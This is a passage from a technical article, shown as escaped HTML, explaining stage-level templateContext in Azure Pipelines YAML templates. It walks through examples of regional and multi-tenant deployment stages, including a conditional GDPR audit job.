style=\"color:#ae81ff\"\u003etemplates/regional-deploy.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployStages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployUSEast\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eus-east\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ecomplianceTier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estandard\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003enotificationChannel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments-us\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eus-east\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployEUWest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeu-west\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ecomplianceTier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003egdpr             \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# GDPR compliance tier — affects audit steps\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003enotificationChannel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments-eu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeu-west\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe iterating template accesses stage-level metadata via \u003ccode\u003e${{ stage.templateContext.propertyName }}\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/regional-deploy.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployStages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estageList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each stage in parameters.deployStages }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.stage }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ stage.templateContext.region }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Bridge stage-level metadata into runtime variables\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDEPLOY_REGION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.region }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCOMPLIANCE_TIER\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.complianceTier }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Conditionally inject GDPR audit job for compliant stages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(stage.templateContext.complianceTier, \u0026#39;gdpr\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eGDPRAudit\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./gdpr-audit.sh --region \u0026#34;$(DEPLOY_REGION)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;GDPR compliance audit\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#ae81ff\"\u003e${{ each job in stage.jobs }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#ae81ff\"\u003e${{ job }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStage-level \u003ccode\u003etemplateContext\u003c/code\u003e suits metadata that applies to the entire stage: geographic region, compliance tier, release track, or notification routing. Per-job variation within the stage uses job-level \u003ccode\u003etemplateContext\u003c/code\u003e on jobs inside the stage\u0026rsquo;s \u003ccode\u003ejobs:\u003c/code\u003e list.\u003c/p\u003e\n\u003ch3 id=\"production-pattern-4--multi-tenant-regional-deployment\"\u003eProduction Pattern 4 — Multi-Tenant Regional Deployment\u003c/h3\u003e\n\u003cp\u003eA platform team defines one stage template that handles any region. Callers pass a \u003ccode\u003estageList\u003c/code\u003e where each stage carries \u003ccode\u003etemplateContext\u003c/code\u003e with the region-specific configuration. Adding a new region requires one new entry in the pipeline file — the template is unchanged:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — three regional stages; each stage is fully self-describing\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/tenant-deploy.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e:                                    \u003cspan style=\"color:#75715e\"\u003e# shared settings (global object param)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eappName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyplatform\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployStages\u003c/span\u003e:                              \u003cspan style=\"color:#75715e\"\u003e# per-region metadata (templateContext)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployAPAC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaustraliaeast\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etenantId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etenant-apac\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-apac-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esmokeTestUrl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehttps://apac.myplatform.example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePreDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e: { \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest }\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003esteps: [ script\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;APAC pre-deploy\u0026#34; ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployEMEA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteurope\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etenantId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etenant-emea\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-emea-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esmokeTestUrl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehttps://emea.myplatform.example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePreDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e: { \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest }\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003esteps: [ script\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;EMEA pre-deploy\u0026#34; ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployAmericas\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etenantId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etenant-americas\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-americas-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esmokeTestUrl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehttps://us.myplatform.example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePreDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e: { \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest }\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003esteps: [ script\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Americas pre-deploy\u0026#34; ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/tenant-deploy.yml — single template handles any number of regions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eappName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployStages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estageList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each stage in parameters.deployStages }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.stage }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 